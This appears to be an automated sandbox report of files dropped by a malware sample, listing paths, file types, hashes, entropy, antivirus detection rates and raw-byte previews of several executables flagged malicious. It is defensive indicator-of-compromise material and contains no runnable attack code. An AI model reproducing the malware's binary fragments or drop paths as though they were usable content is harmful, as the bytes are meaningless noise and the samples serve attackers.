                                                                                                                                                                                                                                    SHA1:D2A3D0207C15F203F606B6471FD25D35FAB59221
                                                                                                                                                                                                                                    SHA-256:4448EB501BDCCB68CEB1D5B839674DB04DA9B488E3A677428575E65B26DDFB0E
                                                                                                                                                                                                                                    SHA-512:04E2D61EB439D2214667D079899CC8338BAAB9669A88ED24FA02E771FA54034286824961C2334E2A58A1C030B5EA0A29B7B9F2A66D45AAB1DFED1D0ACF03C97A
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.7.8.4.<./.P.i.
                                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4541
                                                                                                                                                                                                                                    Entropy (8bit):4.428764504971277
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:48:cvIwWl8zsOJg77aI9L4WpW8VYDVYm8M4JBRFgs+q82nSEn6ke+u+9d:uIjfEI7tx7VlJ2sHSVD+u+9d
                                                                                                                                                                                                                                    MD5:1EA00BAD1DB299867FD441E62A887F15
                                                                                                                                                                                                                                    SHA1:B282925FA26DBDE36C55484F7157CC84914C0B2F
                                                                                                                                                                                                                                    SHA-256:08565B042CA122E078B6F55CD638CEA5047F7C0B56EECA38AFF1D13323729C85
                                                                                                                                                                                                                                    SHA-512:FC55C3D6D88A0B71BAB729DAD0763C5D7FD2B98A0E6825947F8F85DB53164561A7E57BD6B8FC9AABC448AEFA0A8C4CDB1AF1B538E70A93565B0AFCFE1FAFF024
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="628251" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):76800
                                                                                                                                                                                                                                    Entropy (8bit):3.0484492058691486
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:1536:DDvBlMGAdvWDn1qB6K5HA4HqjD3M+fSFB58vV+/+7vF+nX+M3+sA0Kvo+FV+BxQS:DDvBlMGAdvWDn1qB6K5HA4HqjD3M+fSB
                                                                                                                                                                                                                                    MD5:7F9B49DCD27AE636B874CEA94EDC084E
                                                                                                                                                                                                                                    SHA1:E6668065455E4DFA881D7BC40BFED731DB618FF2
                                                                                                                                                                                                                                    SHA-256:C52A439040686346F1A067BADE785A43CD08B0A2C1649B30D3299BA6DEB7269B
                                                                                                                                                                                                                                    SHA-512:0376267E199CE56DF62DB1943E7BA893167B3EF11EEE646155DC04FD205169EB92FFA22533851454D48FCA9A513420F89F9CC2427C3B11805BB5AC9DC5A7218E
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):13340
                                                                                                                                                                                                                                    Entropy (8bit):2.6869387591683256
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:96:TiZYWjS4K0YvtYHWyHYYEZvstSiFuYJiwFu3P8aJhmrMxienISs3:2ZDhi1eTaJhqMxiPSs3
                                                                                                                                                                                                                                    MD5:2A06A8477E1A1711814CABDBEA277C00
                                                                                                                                                                                                                                    SHA1:BC70C374DBB0B842C264517DAEDA659B71374B06
                                                                                                                                                                                                                                    SHA-256:A0AC9881A4B3C29E8A3EE92EA2EF2AB0E6772CF29C583E3536196608FB9A9630
                                                                                                                                                                                                                                    SHA-512:251EDD580D689BBA8BEDF442254C1EC6A83CFE811D9E6CF29EE251E2012C909871CFA0E1BAEA8B8A775078D6E41AFF25FC56AEE8EA8603846323EF007CFB97CC
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    File Type:International EBCDIC text, with no line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):8
                                                                                                                                                                                                                                    Entropy (8bit):2.0
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:q//:6/
                                                                                                                                                                                                                                    MD5:4A18A6C1B476C23FF9FDC7C95BF4CCBB
                                                                                                                                                                                                                                    SHA1:AFF8CD06B6D9457B4B1ED63A53C64D07AC455E66
                                                                                                                                                                                                                                    SHA-256:9128C1C2F71238DA176C82247DEBDC41C6D632C214456EC91ABCF8336E30CF44
                                                                                                                                                                                                                                    SHA-512:AAE20773FE7B0C077FC5F006DDA3520AEF5E88F8BE76628DF78B68D994EE4548EA1764EAE3E3AFBA6A7CFAFFD191D1BD713C25B54E8716030C36D7B118D6EDDF
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:..[g....
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4
                                                                                                                                                                                                                                    Entropy (8bit):0.8112781244591328
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:M:M
                                                                                                                                                                                                                                    MD5:4352D88A78AA39750BF70CD6F27BCAA5
                                                                                                                                                                                                                                    SHA1:3C585604E87F855973731FEA83E21FAB9392D2FC
                                                                                                                                                                                                                                    SHA-256:67ABDD721024F0FF4E0B3F4C2FC13BC5BAD42D0B7851D456D88D203D15AAA450
                                                                                                                                                                                                                                    SHA-512:EDF92E3D4F80FC47D948EA2F17B9BFC742D34E2E785A7A4927F3E261E8BD9D400B648BFF2123B8396D24FB28F5869979E08D58B4B5D156E640344A2C0A54675D
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:....
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Local\Video Minimizer 2.33\videominimizer2.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):128
                                                                                                                                                                                                                                    Entropy (8bit):2.9012093522336393
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:ObXXXd0AbDBdUBWetxt:Or9Lb3UFx
                                                                                                                                                                                                                                    MD5:679DD163372163CD8FFC24E3C9E758B3
                                                                                                                                                                                                                                    SHA1:F307C14CA65810C8D0238B89B49B2ACD7C5B233B
                                                                                                                                                                                                                                    SHA-256:510EA89D00FA427C33BD67AEEA60D21066976F085959C2AFE1F69411A8CA722D
                                                                                                                                                                                                                                    SHA-512:46C464F15BCE39E28DCD48AF36C424845631D2B48D7E37D7FBBBEE0BC4DF32445A2810E397BF29FCA76C0364B1AA30CC05DCF4D9E799C6C697B49A174560969C
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:12b48997735ce8b4537cf99be74bb62f518d3799011c89eb7c719048e83fac56................................................................
                                                                                                                                                                                                                                    Process:C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):999
                                                                                                                                                                                                                                    Entropy (8bit):4.966299883488245
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24:Jd4T7gw4TchTGBLtKEHcHGuDyeHRuDye6MGFiP6euDyRtz:34T53VGLv8HGuDyeHRuDye6MGFiP6euy
                                                                                                                                                                                                                                    MD5:24567B9212F806F6E3E27CDEB07728C0
                                                                                                                                                                                                                                    SHA1:371AE77042FFF52327BF4B929495D5603404107D
                                                                                                                                                                                                                                    SHA-256:82F352AD3C9B3E58ECD3207EDC38D5F01B14D968DA908406BD60FD93230B69F6
                                                                                                                                                                                                                                    SHA-512:5D5E65FCD9061DADC760C9B3124547F2BABEB49FD56A2FD2FE2AD2211A1CB15436DB24308A0B5A87DA24EC6AB2A9B0C5242D828BE85BD1B2683F9468CE310904
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<software_identification_tag xmlns="http://standards.iso.org/iso/19770/-2/2009/schema.xsd">...<entitlement_required_indicator>true</entitlement_required_indicator>...<product_title>Windows 10 Pro</product_title>...<product_version>....<name>10.0.19041.1865</name>....<numeric>.....<major>10</major>.....<minor>0</minor>.....<build>19041</build>.....<review>1865</review>....</numeric>...</product_version>...<software_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_creator>...<software_licensor>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</software_licensor>...<software_id>....<unique_id>Windows-10-Pro</unique_id>....<tag_creator_regid>regid.1991-06.com.microsoft</tag_creator_regid>...</software_id>...<tag_creator>....<name>Microsoft Corporation</name>....<regid>regid.1991-06.com.microsoft</regid>...</tag_creator>..</software_identification_tag>..
                                                                                                                                                                                                                                    Process:C:\Users\user\AppData\Roaming\LBOSqRLg\xIphwNW7O.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):42
                                                                                                                                                                                                                                    Entropy (8bit):4.0050635535766075
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:QHXMKa/xwwUy:Q3La/xwQ
                                                                                                                                                                                                                                    MD5:84CFDB4B995B1DBF543B26B86C863ADC
                                                                                                                                                                                                                                    SHA1:D2F47764908BF30036CF8248B9FF5541E2711FA2
                                                                                                                                                                                                                                    SHA-256:D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
                                                                                                                                                                                                                                    SHA-512:485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:data
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):97296
                                                                                                                                                                                                                                    Entropy (8bit):7.9982317718947025
                                                                                                                                                                                                                                    Encrypted:true
                                                                                                                                                                                                                                    SSDEEP:1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
                                                                                                                                                                                                                                    MD5:E6743949BBF24B39B25399CD7C5D3A2E
                                                                                                                                                                                                                                    SHA1:DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
                                                                                                                                                                                                                                    SHA-256:A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
                                                                                                                                                                                                                                    SHA-512:3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk*....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.*Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..*O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q*...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~|..j...b..K!..N.7R.}T.2bsq..1...L^..!.|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1502720
                                                                                                                                                                                                                                    Entropy (8bit):7.646111739368707
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:24576:7i4dHPD/8u4dJG/8yndSzGmTG2/mR2SGeYdc0GmTG2/mR6Trr2h60qP:7rPD/8I/8ly+Zrr2h60qP
                                                                                                                                                                                                                                    MD5:A8CF5621811F7FAC55CFE8CB3FA6B9F6
                                                                                                                                                                                                                                    SHA1:121356839E8138A03141F5F5856936A85BD2A474
                                                                                                                                                                                                                                    SHA-256:614A0362AB87CEE48D0935B5BB957D539BE1D94C6FDEB3FE42FAC4FBE182C10C
                                                                                                                                                                                                                                    SHA-512:4479D951435F222CA7306774002F030972C9F1715D6AAF512FCA9420DD79CB6D08240F80129F213851773290254BE34F0FF63C7B1F4D554A7DB5F84B69E84BDD
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 75%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..._............"...0..0...........O... ...`....@.. .......................@............`.................................LO..O....`...................... ......0O............................................... ............... ..H............text..../... ...0.................. ..`.rsrc.......`.......2..............@..@.reloc....... ......................@..B.................O......H.......h~...D......U... .................................................(....*..(....*.~....-.r...p.....(....o....s.........~....*.~....*.......*j(....r=..p~....o....t....*j(....rM..p~....o....t....*j(....r...p~....o....t....*j(....r...p~....o....t....*j(....r...p~....o....t....*j(....r...p~....o....t....*j(....r...p~....o....t....*.~....*..(....*Vs....(....t.........*N.(.....(.....(....*....0..f.......(.........8M........o....9:....o.......o.......-a.{......<...%..o.....%.
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4608
                                                                                                                                                                                                                                    Entropy (8bit):3.990387966645919
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:48:65uxic/UNMSAjItYiA254tdqlkCuFCpfbNtm:cc9jItYbaC+zNt
                                                                                                                                                                                                                                    MD5:F328A95046E3A2514C36347EAEC911C0
                                                                                                                                                                                                                                    SHA1:8EC9C18384CA1E08A397BF7B3D46B6D784669EF0
                                                                                                                                                                                                                                    SHA-256:D55E86610DCAD29C3D2857D9DAE91AA51228B1FA001EA2D7BDA88B9A2B5570A9
                                                                                                                                                                                                                                    SHA-512:2FC3621433C5DA3DCB5B9D9133CD9D63D8F53FD60C81DDAB8B83BAD60EFB98942FC38A63DFA98EDFC8358C8E4E345A7EC8FA3AA14C18D4337CDD90EA0AED4718
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 54%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..............&... ...@....@.. ....................................@..................................&..O....@.......................`.......%..8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................&......H.......\ ...............................................................*..(....*..BSJB............v4.0.30319......l.......#~..,...H...#Strings....t.......#US.x.......#GUID...........#Blob...........G..........3..........................................x...............Z.....!.....,.....I.................A...........&.....`.....5.................{.....@.........................A.....P ........#...R ................;...................).....1.....9.....A.....I.....Q.....Y.....
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):242176
                                                                                                                                                                                                                                    Entropy (8bit):6.47050397947197
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:6144:SIQpxILDXGGMO7Ice9C5kQw2hWHcHTykhb:SIQpxILDXGGlET9n/cHG
                                                                                                                                                                                                                                    MD5:2ECB51AB00C5F340380ECF849291DBCF
                                                                                                                                                                                                                                    SHA1:1A4DFFBCE2A4CE65495ED79EAB42A4DA3B660931
                                                                                                                                                                                                                                    SHA-256:F1B3E0F2750A9103E46A6A4A34F1CF9D17779725F98042CC2475EC66484801CF
                                                                                                                                                                                                                                    SHA-512:E241A48EAFCAF99187035F0870D24D74AE97FE84AAADD2591CCEEA9F64B8223D77CFB17A038A58EADD3B822C5201A6F7494F26EEA6F77D95F77F6C668D088E6B
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Antivirus:
                                                                                                                                                                                                                                    • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Jl.X...........!..................... ........... ....................... ............@.....................................W.................................................................................... ............... ..H............text...4.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........`..4e...........U..............................................}.Y.y.=.{.X.x.=..r...p.o2....o...(3.....o2...}....*:..s.....(....*.......*2r...p(;...&*Vr...p.....r...p.....*..(....*>.........}....*...(C.....o...(D...(E...}.....(F...(E...(G...&*>.........}....*...(C.....o...(D...}.....(F...(E...(H...&*".......*>.........}....*R..} .....{ ...oo...*..{ ...*"..}!...*..{!...*...}.....{#....{....op....{....,...{ ...oo...*..{!...oo...*..{....*B.....su...(v...*..{#....{#...
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):21
                                                                                                                                                                                                                                    Entropy (8bit):3.880179922675737
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:gFsR0GOWW:gyRhI
                                                                                                                                                                                                                                    MD5:408E94319D97609B8E768415873D5A14
                                                                                                                                                                                                                                    SHA1:E1F56DE347505607893A0A1442B6F3659BEF79C4
                                                                                                                                                                                                                                    SHA-256:E29A4FD2CB1F367A743EA7CFD356DBD19AEB271523BBAE49D4F53257C3B0A78D
                                                                                                                                                                                                                                    SHA-512:994FA19673C6ADC2CC5EF31C6A5C323406BB351551219EE0EEDA4663EC32DAF2A1D14702472B5CF7B476809B088C85C5BE684916B73046DA0DF72236BC6F5608
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:9tKiK3bsYm4fMuK47Pk3s
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):4250887
                                                                                                                                                                                                                                    Entropy (8bit):7.998488969661119
                                                                                                                                                                                                                                    Encrypted:true
                                                                                                                                                                                                                                    SSDEEP:98304:IcwhQmHJ8m0sLHd1a161OHydnlWF+t22vQacL5B59eh:9wPtRjBldnlWU65z8
                                                                                                                                                                                                                                    MD5:23619F330C57AF62DE72DFFEBADBF07B
                                                                                                                                                                                                                                    SHA1:7F4B9BD506A9CC86D41F25D2FA9D352106CE2529
                                                                                                                                                                                                                                    SHA-256:7F7357AE47697D5052AA540D2A4E39AB31B2CA88A989D7269D1A98AD58430948
                                                                                                                                                                                                                                    SHA-512:7A583AC5B8E104C4397D86CEA50664831471CCE8338102849DE48F97A640BECA35147E4FFAA1BEFF99A4C5B12269A6B30ABF92269F39626A1D10D069D4DBEB34
                                                                                                                                                                                                                                    Malicious:true
                                                                                                                                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.....................F......@.............@..........................@...................@..............................P........,..........................................................................................................CODE....d........................... ..`DATA....L...........................@...BSS......................................idata..P...........................@....tls.....................................rdata..............................@..P.reloc..............................@..P.rsrc....,.......,..................@..P.............@......................@..P........................................................................................................................................
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:U:U
                                                                                                                                                                                                                                    MD5:C4CA4238A0B923820DCC509A6F75849B
                                                                                                                                                                                                                                    SHA1:356A192B7913B04C54574D18C28D46E6395428AB
                                                                                                                                                                                                                                    SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
                                                                                                                                                                                                                                    SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:1
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:very short file (no magic)
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):1
                                                                                                                                                                                                                                    Entropy (8bit):0.0
                                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                                    SSDEEP:3:V:V
                                                                                                                                                                                                                                    MD5:CFCD208495D565EF66E7DFF9F98764DA
                                                                                                                                                                                                                                    SHA1:B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
                                                                                                                                                                                                                                    SHA-256:5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
                                                                                                                                                                                                                                    SHA-512:31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
                                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                                    Preview:0
                                                                                                                                                                                                                                    Process:C:\Users\user\Desktop\file.exe
                                                                                                                                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                                    Size (bytes):242176
                                                                                                                                                                                                                                    Entropy (8bit):6.47050397947197
                                                                                                                                                                                                                                    Encrypted:false
